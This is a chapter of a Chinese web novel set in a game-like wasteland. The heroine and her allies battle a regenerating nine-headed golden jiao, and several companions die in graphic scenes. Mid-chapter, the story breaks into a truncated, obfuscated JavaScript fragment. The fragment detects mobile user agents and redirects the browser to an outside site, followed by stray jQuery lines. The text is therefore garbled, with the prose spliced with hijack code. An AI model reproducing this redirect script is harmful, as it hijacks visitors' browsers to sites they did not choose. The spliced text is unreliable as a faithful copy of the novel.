92.冰狱狩猎(四十二)
作品:《在无限废土当怪物之王》 “放开我,我让你放开我!”
“放开我们!”
被卷住的几个人有的不断捶打,有的张口撕咬,可腰间的触手丝毫没有放下他们的意思,任鸢急的直接兽化。
虎头海雕巨大的身躯将缠着的触手撑爆,翅膀一振就飞了出去。
“不要,回来!”佐塔喊。
数根触手齐齐扑过去,却只抓回来几根羽毛。
黎青青趁佐塔分神,缩小成壁虎形态,从触手的缝隙里掉下去,贴着墙壁爬得飞快,一转眼就没影子。
“不要!你怎么也走了!快回来!”
佐塔心里哇凉,她答应过姐姐会送他们出去的,这下全完了。
她把脸埋进触手,不争气的哭了。
姐姐一定会生她气的!
怎么办怎么办!
其余两个还在试图挣脱,佐塔气愤的两下就将他们弄晕,塞进身体里。
她也想救姐姐和其他人,可刚才一战,她花费了太多精神力,现在的她只能强行打开领域的裂缝一次。
带他们离开这里,这是姐姐的命令。
佐塔的半边身体已经挤出去了,却忽然停住。
她真的可以走吗?
她要眼睁睁的看着姐姐去死吗?
那可是冒着生命危险,将她从塔里救出来的姐姐。
会给她吃好吃的苹果,会哄她睡觉,会在喝醉酒呕吐时细心照顾她。
佐塔将伸出去的触手全部收回。
算了。
反正事情已经办砸了,再办砸一点又有什么关系呢?
佐塔将身体里的两个人扔出了屏障,自己则返身朝着洞穴而去。
…………
另一边,鹤爻终于看清了那只怪物,一只九头黄金蛟。
每一条的身躯都粗如树干,鳞片寸寸张开,边缘暗金发黑,盘在一起犹如一座肉山。
“这才是真的S级!”霍鹰面色凝重。
“它似乎……快要化龙了?”鹤爻皱眉盯着它的头顶。
只见每一只的蛇头上都拱起两颗肉瘤,像是龙角还没成型的样子。
“蛟蛇化龙?”霍鹰说,“我以为这是只有绘本里才有的!”
“管它是龙是蛇,打了再说!”鹤爻手持双刃,飞身而上。
霍鹰看着地上廖小飞的尸体,双眼赤红,紧随其后。
两把刀,一把斧,狠狠砍在蛇头上,三颗黄金头颅滚在地上。
可它再生的速度比那只蛇嗣更快。
眨眼间,断颈处就长出了新的肉芽,长蛇转了转新生的头颅,似乎在活动筋骨。
黄金竖瞳里倒映着两个人的身影。
“再来啊。”它的声音一会像男人,一会又像女人,懒洋洋的,像是在逗弄小猫小狗,似乎并没有因为子嗣被杀而愤怒暴起。
【已佩戴称号:斩嗣者!】
【伤害加成50%!】
鹤爻的刀锋一闪,连斩两颗蛇头,最后卡在第三只的颅骨一半处,再进不了寸许。
“使点劲儿啊。”那颗头歪着,带着笑意,像在看一件有意思的东西。
鹤爻一脚踹在它脸上,刀身翻转,狠狠一剖。
腥臭的血液淋了她满身满脸。
黄金蛟的头颅飞速长好,九颗头同时凑近,把她们围在中间,像看笼子里的两只老鼠。
最大的那颗头垂下来,鼻尖几乎贴着鹤爻的脸,喷着腥臭滚烫的气息。
“还有吗?还有吗?”蛇头说,“没有的话,该我了哦。”
鹤爻看出来了,它是在存心戏耍她们,下一秒,巨大的威压将她们狠狠拍在地上。
气血翻涌,经脉逆流,皮肉仿佛都要被那无形的光波掀开一层。
没了佐塔的精神庇护,凡人之躯根本扛不住S级的威压。
霍鹰的玄鳞甲撑到极限,鳞片一片一片崩开,血从裂缝里渗出来。
鹤爻喷出大口的鲜血,支刀艰难站起,刀尖在地上狠狠一剁。
【发动:九头之怒!】
一道九色光环以鹤爻为圆心,将两人罩在里面,抵挡了部分冲击。
虽然有了短暂喘息的机会,但终究不敌,鹤爻的身体犹如被压迫的青竹,狠狠往下弯。
哗啦啦的碎响,九色光环破裂。
只是预料之内的威压并未成倍反噬,甚至所有的负面情绪都在一瞬间清空。
一轮红月在洞穴升起,那些无形压力顷刻消散。
“谁让你回来的!”鹤爻回头喝道。
她难道听不明白吗,让她带着其他人走,也是放她逃命。
还回来做什么?
死了可就回不了大海了。
藏着不敢现身的佐塔抖了一下,慢慢从阴影里走出来,两只粉红触手像手指一样在胸前打转:
“唔,我想跟姐姐待在一起。而且,你们打不过它的,我可以帮姐姐……”
“我们也是!”黎青青和任鸢同时说,与蛇头战在一起。
可是面对S级的怪物,根本不是对手,任鸢吐血不止,黎青青的壁虎尾被整个咬下,血雾弥漫。
鹤爻痛苦的闭了闭眼睛。
为什么,为什么还是这样?
难道结局既定,就真的无法更改吗?
可是她不信,她偏不信!!
她一定会杀了这只异种!
【拟态:兽化虎头海雕!】
金色翅膀张开,鹤爻腾空而起,落在两只交错的蛇头中央。
【拟态:金臂猿!】
力量暴涨,左右双刀来回猛砍,四颗蛇头同时断裂,血浆喷溅。
她站在血雨里,浑身都是红的。
“这点力度可远远不够哦。”
一只蛇头笑嘻嘻的,顶住她的身体,将她拍进墙壁里,碎石嵌进肉里,肋骨断了两根。
她爬起来,只是简单的喘息了一口气,便再次飞身而上。
【职业:蜘蛛刺!】
牺牲了部分体力与攻击值,鹤爻敏捷度达到巅峰,穿梭在蛇头中间,快的只剩残影。
一定可以的,她一定可以的!
以蛇身为跳板,跑过那些鼓胀的鳞片,跑过那些还在挣扎的人脸,跳到最大的那颗头后面。
【职业:蜘蛛毒!】
四只棘骨再次张开,狠狠扎进黄金蛟的后颈。
庞大的毒素顺着骨刺,一次性灌入,紫黑色的纹路在蛇身蔓延,犹如闪电的裂纹,瞬间爬到眼睑。
九头蛟瞳孔充血,蛇嘴里不断喷出黏黑的血浆。
有用!鹤爻狂喜。
可眨眼间,那毒素就被逼退,调转的蛇头一口咬在她肩头,狠狠一撕。
惨痛,鹤爻咬牙在地上翻滚了两圈,才避开了第二次攻击,她捂住左臂,血从指缝里往外涌。
以刀支地,再次战了上去。
血肉再生赶不上受伤的速度,鹤爻浑身都是伤口,大的小的,血浆把衣服浸透,每走一步,都洇出一个血脚印。
她的身体已经开始不听使唤的颤抖,但刀依旧稳稳切开了蛇头。
她听到骨裂的声音,还有霍鹰痛到难以呼吸的嘶吼。
就像先知之眼看到的那样,任鸢被两只蛇头分别叼着肩膀,一分为二,臂膀软软的掉下去。
鹤爻胸口剧烈起伏,惊惧、怒火、悲伤,无措,杂糅在一起,几乎让她忘了该怎么呼吸。
双手剧烈颤抖,她不敢看第二眼,只能把刀挥得更快更稳。
一次性削断五颗头颅,这已经是鹤爻的极限,可是远远不够。
不能同时斩断九头,对于这只怪物来说就是小疼小痒。
九头蛟还在戏耍她们。
它开始折磨任鸢的身体,把她像玩具一样甩来甩去,虎头海雕的羽毛一根一根拔出来,吹在天上,欣赏着人类的愤怒,大笑不止。
九头蛟看见那个人类少女再次举刀而来,杀气腾腾。
它竟然有点佩服她了。
明明伤害不到它,明明应该躲藏起来,祈求多活一点时间,为什么还要打呢,她不累吗?不怕死吗?
真是奇怪的人类。
对比之前的攻击,这一次破绽太多,她果然没有力气了,哪怕她是个强者,依旧摆脱不了人类躯壳的极限。
九头蛟轻蔑一笑,其中一只蛇头轻易穿透了鹤爻的腹部,咬住她的内脏,缓缓抽出。
可是本应该坠落的少女却腾空而起,踩着它的头颅借势跳往半空。
它愣了一下,还没反应过来,头颅便掉在地上。
嘴里含着的人类身体被对方稳稳接在手里,几个跳跃后,才被轻轻放在了地上。
“安息。”鹤爻对着任鸢说。
她站起来,整个腹部都空了,血肉再生正在填补空洞,但是身体的撕裂感还是让她的动作产生了停顿。
这样下去根本不行。
“佐塔!”鹤爻喊。
几十条章鱼触手瞬间包围住鹤爻,为她注入精神力,鹤爻握住其中一条:“你之前说过的方法呢,对我使用!”
“不行,”被握住的触手剧烈摇摆,像是在摇头,“那个法子会透支你的身体,姐姐会死的!”
“我让你用!”鹤爻死死拽住那只试图逃走的触手。
她没再说话,可是传递出的情绪还是让佐塔感受到了。
她在请求。
她在请求自己。
就像当初小鱼姐姐对蒋宝珠那样,鹤爻姐姐对于这些人类,也怀有一样的心情吗?
这就是朋友吗,为了她们,竟然宁愿牺牲自己?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358631|194206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>奇怪的小鱼,奇怪的人类。
通通都是奇怪的人!
可是为什么有水在眼眶里打转呢,为什么一想到鹤爻姐姐会死去,她的胸腔里就像是有什么东西隐隐抽痛呢?
她甚至萌生出,不顾一切带鹤爻离开的冲动。
即便整个精神图景会被撞的支离破碎,她会受很重很重的伤,可能也会死去,她也想带姐姐逃去外面。
可她明明,最想回的是大海啊。
静默半秒,佐塔还是点头同意,两只细长的触手扎进了鹤爻的背部。
鹤爻的五感被封闭,恐惧、疼痛、疲惫……所有不该在战场上出现的情绪,全部被切断。
她听不见自己流血的声音,感觉不到肋骨断裂的剧痛。
像天生的战士,没有犹豫,没有迟疑,没有害怕。
但代价是,她没有了对死亡的恐惧,就没有了对生存的渴望。
她不知道对方的一击,自己会不会死,不知道自己的极限在哪,她只知道战斗,不停的战斗。
七只头颅在一瞬间砍断,血腥的暴雨里,刀从手里滑落,鹤爻跪在地上,她才发现,一只蛇头击穿了她的心脏。
她感觉不到疼痛,甚至感受不到自己快死了,她只是死死抱住那只不断挣扎的蛇头,往心脏处又深深扎下去几寸,牢牢固定住,手中长刀狠狠一斩。
第八颗头掉在地上。
第八颗了,只要再有一次机会,只要再给她一次机会!
她一定会比上一次做的更好!
她会一次性斩下九只头颅!
她会杀掉它的!!
鹤爻听到UI的提示。
【你已死亡】
濒死的恐惧被完全屏蔽,鹤爻再睁开眼,UI系统自动弹开。
【蜘蛛预判自动触发】
【未来闪回0.5秒】
【冷却时间1小时】
时间被拉回,鹤爻这次清楚的看到那只蛇头带着磅礴的气势冲着她的心脏而来。
躲不开了。
蜘蛛预判已经使用过了,影子还在冷却状态,她所有的保命杀招全部交完了。
没有用了。
她只能将双刀牢牢贴在胸口,玄鳞甲极速张开,以求得到点缓冲。
比蛇头来的更快的,是侧后方的一股巨大的力道。
鹤爻的后背撞在墙壁上,头发上的血浆蔓延进眼睛里,这一刻,整个天地都是红色的。
就像是慢镜头那样,她看到一只壁虎被蛇头贯穿,她的双足还保持着推她动的动作。
壁虎软软的躯体倒在地上,滚了几圈,化身成了一个全身是血的少女。
她的心脏处破了个大洞,难以抑制的疼痛让她蜷缩起小小的身体。
无数晶莹的眼泪飞在背后,这一刻,巨大的悲伤和愤怒冲破了屏蔽的五感,成倍的反噬在鹤爻身上。
她疼的站不起来,精神力在不断预警,但她还是一甩袖子。
无数纸人从天而降,层层叠叠的飞过去,有的缠住蛇头,有的巴住蛇尾,阻碍它的视线,疯狂撕咬皮肉。
鹤爻爬过去,抱起黎青青的身体,眼泪像断了线的珠子一样落下去。
她看到了黎青青的结局,只是没料到她是为了自己。
更没有料到当这一幕真实发生在眼前时,她会这么的无助和无措。
鹤爻觉得自己好可笑。
她以为她会是特殊的那一个,甚至因为每一次的惊险逃生而沾沾自喜。
可是现在,沉重的现实压在她身上,她才惊觉自己竟然这么无能,这么没用!
她什么都做不了。
只能眼睁睁的看着她们,一个个死在眼前。
“指挥……”
“别哭哦……”
黎青青伸出手,想要摸一摸鹤爻的脸,却发现手上沾满了腥臭的血。
不可以,会弄脏她的月亮啊。
指挥要永远干干净净的
她怯怯的收回手,却在半空中被鹤爻紧紧握住,放在脸颊上。
“青青,对不起……”鹤爻哽咽。
“是我没保护好你……”
她泣不成声。
为什么要道歉呢,在她心里,指挥已经很好很好很好了。
指挥不要哭啊,哭了的话,青青也会很难受的。
其实她是高兴的,每一次都是指挥挡在她们面前,可是这一次,她也保护了指挥呢,真的好开心啊。
指挥,青青喜欢你。
青青,最喜欢指挥了。
可是她说不出话了,一张嘴,只有无数血浆蔓延出来,她只能用尽全力,将壁虎尾巴幻化出来,一下一下的拍在地上,给她回应。
慢慢的,那条尾巴的频率越来越低,越来越慢,彻底不动了。

